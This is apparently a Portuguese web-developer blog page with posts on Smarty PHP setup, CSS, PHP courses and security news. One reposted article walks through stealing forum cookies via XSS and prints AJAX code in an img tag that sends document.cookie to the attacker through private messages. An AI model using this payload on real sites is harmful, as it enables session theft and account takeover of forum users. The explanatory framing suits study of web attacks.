Falha de injeção HTML no GTalk

Em meados de 1997, um israelense criou o ICQ, então programinha desconhecido que fazia com que pessoas de qualquer lugar do planeta se comunicasse instantaneamente [fora o delay]. Em 1999, prevendo a expansão do mercado de comunicadores instantâneos, a Yahoo comprou a Mirabilis [empresa do ICQ] e assim, a Microsoft, para não perder tempo, criou o MSN para concorrer com o Yahoo que já tinha o ICQ _o mais usado na época_ e o seu AIM.

Logo, um pouco mais tarde [6 anos], a prodígio com ares de 'dona da internet' [Google] lançou mais um serviço para concorrer com a Yahoo e a MS; era o GTalk, comunicador instantâneo que apostava na tecnologia VoIP. Com um visual limpo, carregamento rápido e recursos simples, mas bem trabalhados, conseguiu tirar um pouco da fatia desse mercado, que até hoje a Microsoft abocanha com o seu MSN.

O especialista em segurança, Alec Storm, que trabalha para o site syhunt.com, declarou que achou um erro no GTalk. Erro de injeção HTML quando se envia um arquivo para a pessoa. Executando o código, mesmo não aceitando o arquivo. Já que o GTalk desenha a janela do chat em HTML usando um plugin do navegador da Microsoft [IE].

Usando o IESpy [18kb] para visualizar o código fonte de qualquer aplicativo _até o próprio Internet Explorer_ usando o plugin do mesmo para visualização de páginas web.

O erro ocorre, quando se recebe um arquivo com uma extensão específica e com um código HTML malicioso. Causado no atributo DXImageTransform, contido no código da página, especificamente, onde o ícone de mostragem do tipo de arquivo a ser recebido.

Aqui está o código conseguido com a ajuda do IESpy, no ato do recebimento de um arquivo malicioso.

Fonte: C9 Security Blog


Parte 2 – Smarty PHP

2. Smarty PHP para programadores PHP

Agora vou entrar em mais detalhes técnicos, como instalar, configurar e sair usando.

2.1 Instalação

Primeiro baixe a ultima versão do smarty, descompacte todas as pastas. Eu crio dentro
da minha aplicação uma pasta smarty onde tem que ter a pasta libs para funcionar corretamente o smartyPHP.

2.2 Organizando a casa

  /            - raiz, onde estarão os seus aplicativos em php
  /cache       - caso queira aplicar cache na sua aplicação esta é a pasta onde ficará o arquivo de cache (chmod 755)
  /configs     - pasta onde ficará os arquivos de configurações, do tipo, nome do site(title) entre outras coisas.
  /templates   - pasta onde o WebDesigner vai trabalhar, mais propriamente dito como o diretório dos templates (HTML's)
  /templates_c - pasta onde o ficará a compilação do template + php, onde o proprio smarty irá gerar os arquivos ali listados. (chmod 755)

2.3 Configuração básica
Vou mostrar de uma forma mais complexa/simples para que depois o desenvolvimento do site funcione mais tranquilamente, fez uma vez nao
há necessidade de alterar tudo novamente.
«---- config.php ----»

// Diretório onde vão estar as bibliotecas do smarty
define(SMARTY_DIR,'/sitepedidos/smarty/libs/');
// Biblioteca do smarty
require_once(SMARTY_DIR.'Smarty.class.php');

/* Função de construção do objeto
Setando alguns parametros para o smartyPHP
caching -> habilitando o cache
cache_lifetime -> tempo de vida do cache
compile_check -> sempre antes de compilar para a tela ele faz uma checagem dos fontes
debugging -> mostra ao WebDesigner as variáveis que ele poderá utilizar
*/
function Smarty_Site() {
$sBasedir = '/sitepedidos/';
$this->Smarty();
$this->template_dir = $sBasedir."templates/";
$this->compile_dir = $sBasedir."templates_c/";
$this->cache_dir = $sBasedir."cache/";
$this->config_dir = $sBasedir."configs/";
$this->caching = false;
$this->cache_lifetime = 0;
$this->compile_check = true;
$this->debugging = true;
}

/* Função de display, melhor dizendo o relacionamento entre o TPL e o PHP */
function show(){
preg_match('/^(.*)\.php$/', basename($_SERVER['SCRIPT_FILENAME']), $r);
$tela = $r[1];
$this->assign('tela', $tela.".tpl");
$this->display('fixo/site.tpl'); // Vou utilizar o site.tpl como a cara do site, mais para frente eu explico melhor.
}
}

// Criação do objeto e pronto para ser utilizado.
$smarty =new Smarty_Site();

Agora que já fizemos o nosso arquivo de configuração para o smarty funcionar, vamos fazer o nosso primeiro index.php

«---- index.php ----»

require_once('./config.php');

// Declaracao das variaveis para o webDesigner
$smarty->assign('nome','Rafael Stoever');

$smarty->show();

Feito isso, temos que falar com o nosso webdesigner para ele fazer o template(HTML).
«---- index.tpl (este arquivo vai ficar dentro da pasta templates) ----»

Este é o meu nome: {$nome}

Ah e tem um cara que é o principal, o que nao muda nunca, o site.tpl, esse site.tpl que está configurado lá no nosso config.php é o corpo do site, aquela parte que nunca muda.

«---- index.tpl ----»

 


{include file=$tela}

E ai está agora conforme o arquivo.php ele vai dar um include no arquivo.tpl ao mesmo tempo que fizeres um php vais programar um template para este.
Simples ? se tiver dúvidas soh comentar.



Conspiração no desenvolvimento WEB/Desktop

Bom como estou sumido, resolvi colocar alguns artigos mostrando como desenvolver um site muito rapidamente separando os mundos da programação PHP do WebDesign. Ah e no final vou dar uma palhinha sobre tudo isso com acesso a qualquer banco de dados e AJAX com Bando de dados também, já que muitos tem duvidas sobre isso.

Quem for lendo esse artigo e os próximos, vão ver que no final não vão querer mais trabalhar sozinhos, ou melhor vão querer se especializar em uma unica atividade e claro nao vao querer largar do smarty+php+db+ajax hehehehe.

1. Um pouco de teoria
2. Smarty PHP para programadores PHP
3. Smarty PHP para WebDesigner´s
4. Integrando os dois mundos (WebDesigner+Programador)
5. Exemplo de página com acesso ao qualquer banco de dados (usando packages da PEAR.php.net)
6. Exemplo de página com AJAX consultando banco de dados e com o smarty.

1. Um pouco de teoria

O que é Smarty?

Tomando a definição do próprio site oficial (smarty.php.net), temos que Smarty é um sistema de templates para PHP, fornecendo uma maneira fácil de controlar a separação da aplicação lógica e o conteúdo de sua apresentação.
O principal objetivo de se utilizar a arquitetura MVC* é a de separar a lógica da aplicação (as regras de negócio do seu programa), da interface do usuário (as telas do programa) e do fluxo da aplicação (como são enviadas as mensagens dos eventos e para quem).

Mas porque eu teria um trabalho enorme em separar meu sistema nessas três camadas?

Quem vem acompanhando os meus post´s já notaram que sou um viciado em PHP :) e que podemos fazer milhões de coisas com essa ferramenta, entao vamos pensar um pouco mais.
Tenho uma empresa que desenvolve sites para web/intranet e tenho uma equipe de pelo menos duas pessoas, um programador PHP e um webdesigner. Ai pegamos um projeto de um site de pedidos, coisa simples:

a. controle de login de clientes
b. alteracao de cadastro de clientes
c. cadastro de produtos
d. cadastro de pedidos
e. listagem de pedidos
f. manutencao de pedidos

Ok um programador PHP faz tudo isso sozinho na boa sem precisar do webdesigner, mas agora pensem assim vc programador PHP só fazer o php sem se preocupar com o layout e nenhum código HTML, tah até agora nada disso eh muito visivel, com o desenrolar do artigo e seus tópicos vou argumentando algumas idéias de como tudo isso irá facilitar no nosso dia a dia. Voltando para o projetinho, ok foi feito em smarty o site para web; a empresa gostou começou a ter mais agilidade nas vendas dos seus produtos e viu que esse site comecou a ficar lento pois está hospedado fora da empresa e tudo mais, agora quizeram colocar o webserver dentro da propria empresa, contrataram mais funcionarios para atender essas solicitações, então quer dizer que o seu cliente CRESCEU, com sua ajuda. Podemos agora para agilizar fazer uma intranet com menos imagem(aquela coisa toda para web) deixar as telas mais limpas e objetivas, já q será somente os funcionarios da empresa q estaram fazendo a manutencao naqueles pedidos e clientes. Entramos na jogada novamente, ufaaaa ganhar mais uma graninha hehehe.
Oh maravilha, fizemos o site com smarty PHP, entao quer dizer as regras de negócio já estão feitas o programador PHP nao vai ter q refazer todos aquele acesso ao banco de dados, select´s e validacoes, nada... e sim alguns ajustes, e quem vai ter q trabalhar nesse caso eh o WebDesigner isso o programador de TELA(HTML) melhor dizendo tirando os frufrú das páginas e fazendo uma intranet reutilizando as variáveis que o programador PHP já havia feito e bingo a intranet está feita.
Agora vão me perguntar, e o programador PHP nao ganha nada nessa historia? bom pensamos que ele pode estar empenhado já em outro projeto e ganhando bem mais, e claro ele vai trabalhar um pouco nesse pequeno, mas nao vai mais se preocupar em pegar aqueles detalhezinhos do tipo, se o cliente for do SUL dar um desconto de 50% e o restante deixar normal, ah essas pecuinhas, o sistema já vai estar pronto para isso.
Tah e se nao tiver outro trabalho para o programador PHP, tipo ele está precisando ganhar R$, bom cara, vai estudar outra coisa, aperfeicoar para pegar mais mercado, uma dica eh estudar PHP-GTK, pois quem sabe depois esse mesmo projeto não vai cair numa loja e dai web/intranet são lentos para isso, o que melhor se encaixa eh uma aplicação DESKTOP, e o mais legal que no desktop vc vai se preocupar com o visual, pois a regra, lembra? já está feito.

Nossa entao vamos agora para a prática, já que um breve da teoria do nosso cotidiano já foi +/- explicado.

Não desanimem, estou escrevendo o próximo artigo, mais técnico.
2. Smarty PHP para programadores PHP ....

*MVC: Model View Controler


Imprimindo certo com CSS

Por padrão, quando um usuário imprime uma página web que não é projetada com a impressão em mente, a folha de estilo é suprimida e a página é imprimida sem qualquer estilo. Ela tende a parecer uma longa linha de informação iniciando com seu cabeçalho, o conteúdo, uma longa lista de sua barra lateral e então o rodapé.

Para ver a como seu site aparece para a impressão, imprima uma página ou, do menu do seu browser, escolha a Impressão> Pré-visualização. Pouco atraente, não é? E desperdiça bastante papel tendo aquela longa lista da barra lateral dos links do blogroll que imprimem mais de duas páginas.

Para fazer o seu site adequado para imprimir, temos de concentrar-nos na arquitetura do site, a estrutura que mantém o conteúdo dentro de cada seção.

Para entender um pouco mais e continuar a ler esse pequeno tutorial que lhe ajuda a fazer a impressao de suas páginas bem feitas clique aqui.

Fonte: Estilos para Impressao CSS
Tutorial CSS
WikiPediaCSS
CSS Garden
CSS para WebDesign (Maujor)


Artigo que explica passo-a-passo a nova técnica de roubo de cookies, por meio de AJAX.

Estava lendo na Total Security um artigo que mostra como alguém pode roubar cookies usando ajax.

"A grande maioria de ladrões de cookies utiliza métodos de localização em javascript; exemplo window.document.location=http://www.totalsecurity.com.br/ladraodecookie.php. Isso irá redirecionar o internauta para uma página diferente. Agora vamos tentar usar javascript inline, javascript: window.document.location=http://www.sitequequeroredirecionar.com; Essa é a forma mais velha de roubo de cookies. Mas usuários menos bestinhas, até mesmo os bestinhas desconfiarão, pois não estaram no endereço em que iniciaram. Por isso usar AJAX, você poderá roubar cookies de forma silenciosa. Resultado final: pessoas visitam algo como um fórum, até ai tudo bem, do nada a cookie do mesmo é roubada. Nada parece ter acontecido.

Ficou curioso como funciona? Pois bem... imaginemos que estamos em um fórum, que por sua vez tenha uma falha XSS. A missão é infiltrar no fórum, inserir um código javascript(AJAX, é claro) usando a tag para driblar o sistema do fórum. Nesse código, o usuário mandará o cookie dele para você numa mensagem privada, usando o sistema de mensagem do fórum, é claro :)

  1. *tags modificadas para [] respectivamente.<br />
  2. [img src=javascript:<br />
  3. //Vamos setar XMLHttpRequestObject falso para ver se retornará verdadeiro depois..<br />
  4. var XMLHTTPRequestObject = false;<br />
  5. if (window.XMLHttpRequest)<br />
  6. {<br />
  7. XMLHttpRequestObject = new XMLHttpRequest();<br />
  8. }<br />
  9. else if(window.ActiveXObject)<br />
  10. {<br />
  11. XMLHttpRequestObject = new ActiveXObject(Microsoft.XMLHTTP);<br />
  12. }<br />
  13. else<br />
  14. {<br />
  15. alert(Javascript não está ativado.);<br />
  16. }

O código acima é simples, verificará se XMLHttpRequest poderá ser gerado. Se não, uma caixa de alerta será mostrada e o resto do código que será inserido agora, não entrará em funcionamento.

  1. function socket()<br />
  2. {<br />
  3. /*A linha a seguir é muito importante. Se o site está usando POST para enviar as mensagens, então terá de mudar o código usando o seu HTTP debugger. Em SEUNOMEDEUSUÁRIO, você botará seu login no fórum para receber mensagem privada com o cookie da vítima pelo sistema de mensagem privada do fórum*/<br />
  4. XMLHttpRequestObject.open('GET', 'http://www.sitequalquer.com/privatemessage.php user=SEUNOMEDEUSUÁRIO&subject=' + window.document.cookie, true);<br />
  5. XMLHttpRequestObject.setRequestHeader(Content-Type, application/x-www-form-urlencoded);<br />
  6. XMLHttpRequestObject.send(null);<br />
  7. //Out of the Goodness of our heart =p<br />
  8. delete XMLHttpRequestObject;<br />
  9. }<br />
  10. //Não esquecer de fechar a tag, afinal, isso é uma imagem <img src="http://www.rstoever.com/wp-includes/images/smilies/icon_wink.gif" alt=";)" class="wp-smiley" /><br />
  11. window.document.onload='socket();']<br />
  12.  

Esse foi um exemplo claro e bem-sucedido de um código em AJAX para um fórum, em que, quando o post for acessado, o usuário enviará uma mensagem privada com o seu respectivo cookie para quem você desejar."

Fonte: Total Security


Código JavaScript quebra segurança de firewall

Acaba de ser descoberto um método de invadir uma rede de computadores apenas colocando-se o código mal-intencionado em uma página da Internet.

Quando uma pessoa navega pela web, seu computador normalmente é protegido dos ataques por um "firewall", um programa que filtra mensagens suspeitas. Mas pesquisadores da empresa SPI Dynamics, Estados Unidos, descobriram que determinado código em JavaScript, embutido em uma página da web, pode passar pelo firewall. JavaScript é uma linguagem de programação simples, que roda no navegador, largamente utilizada para tornar as páginas mais interativas.

Quando um usuário visita uma página assim, o código é capaz de sondar automaticamente a rede local à qual a máquina do usuário está conectada. Uma vez tendo identificado os computadores e outros equipamentos na rede, o mesmo método pode ser usado para enviar comandos para travá-los ou controlá-los.

Mais detalhes


CSS/tableless a era da WEB 2.0

"CSS é a sigla em inglês para Cascading Style Sheet que em português foi traduzido para folha de estilo em cascata e é definida como:
Folha de estilo em cascata é um mecanismo simples para adicionar estilos (p.ex., fontes, cores, espaçamentos) aos documentos Web.
Web Standards pode ser traduzido como Normas para Web, tem por objetivo a criação de uma Web universal e define-se:
Web Standards é um conjunto de normas, diretrizes, recomendações, notas, artigos, tutoriais e afins de caráter técnico, produzidos pelo W3C e destinados a orientar fabricantes, desenvolvedores e projetistas para o uso de práticas que possibilitem a criação de uma Web acessível a todos, independentemente dos dispositivos usados ou de suas necessidades especiais."

Bom o por que deste artigo sobre web 2.0 ? simples pois estou ajudando um parceiro meu a aprender CSS e indiquei um site que utilizo muito, este site é que peguei o texto acima e como há muito sobre web2.0 na net entao façam uma googlesada e procurem sobre o assunto. Mas o que quero mostrar é este site totalmente em português e que ajuda muito a alguém entender CSS.

Tutorial CSS - Tableless - Web Standards: site oficial com todos os tutoriais

E o tutorial mais interessante que eu achei é sobre o zen garden do maujor: que pode ser visto aqui.

Obs.: Para quem está começando a usar CSS, é muito simples saber o porque que isto é mto bom. No momento que vc faz um HTML é simplesmente um HTML, mas quando vc atribui propriedades a uma tag do HTML dai sim estamos falando de CSS.

ex.:

Rafael Stoever

O que veriamos seria somente um Rafael Stoever em negrito e nada mais, mas se quizessemos que todos os negritos fossem com um fundo de outra cor ?
Ai poderiamos usar o nosso amigo CSS.

b {
background-color:#6495ED;
}

Rafael Stoever
Maria Josefina
Lara Maria José
Sofia Clementina

E o resultado seria

Rafael Stoever
Maria Josefina
Lara Maria José
Sofia Clementina

E quem brinca com CSS tem que ter uma lista de cores, RGB e tals... e uma listagem de cores que achei na net e gostei mto é essa que estou disponibilizando aqui.


Curso PHP

É galera... agora quem quizer um curso de PHP estou fazendooooo uhuuu

HTML - Básico

PHP - Básico

PHP - Avançado

depois eu coloco o cronograma...


Aulas de Programação WEB

A vida está uma correria, e temos que fazer de tudo um pouco, agora comecei a dar curso de HTML e PHP. E está indo super legal.

Assim que eu terminar o curso com o meu aluno vou disponibilizar a apostila no site para futuras pesquisas, contendo exercícios e exemplos práticos.

 

O melhor ainda é que meu aluno está aprendendo legal tudo o que estou ensinando. super 10 


Exemplo prático de SmartyPHP/PEAR.DB com MySQL

Estava estudando alguns frameworks para desenvolvimento de sites, mais limpos, mais organizados e mais simples para o WebDesigner e o WebDeveloper. E acabei vendo alguns e como programa em PHP fui direto nos caras que desenvolveram o PHP.

Smarty PHP - Sistema de templates para PHP

PEAR.DB - Acesso a banco de dados ( fbsql, ibase, informix, msql, mssql, mysql, mysqli, oci8, odbc, pgsql, sqlite and sybase )

PEAR.HTML_AJAX - Asynchronous Javascript and XML

E claro utilizei os banco de dados que mais me famialiarizo, o Oracle e MySQL e funcionou que é uma maravilha.

O site demo do que fiz com estes frameworks estão em Demors

No momento não tenho mto tempo para explicar mais como liguei tudo isto, mas vou explicando aos pouquinhos... por hoje fiquem soh na curiosidade e googleidéia.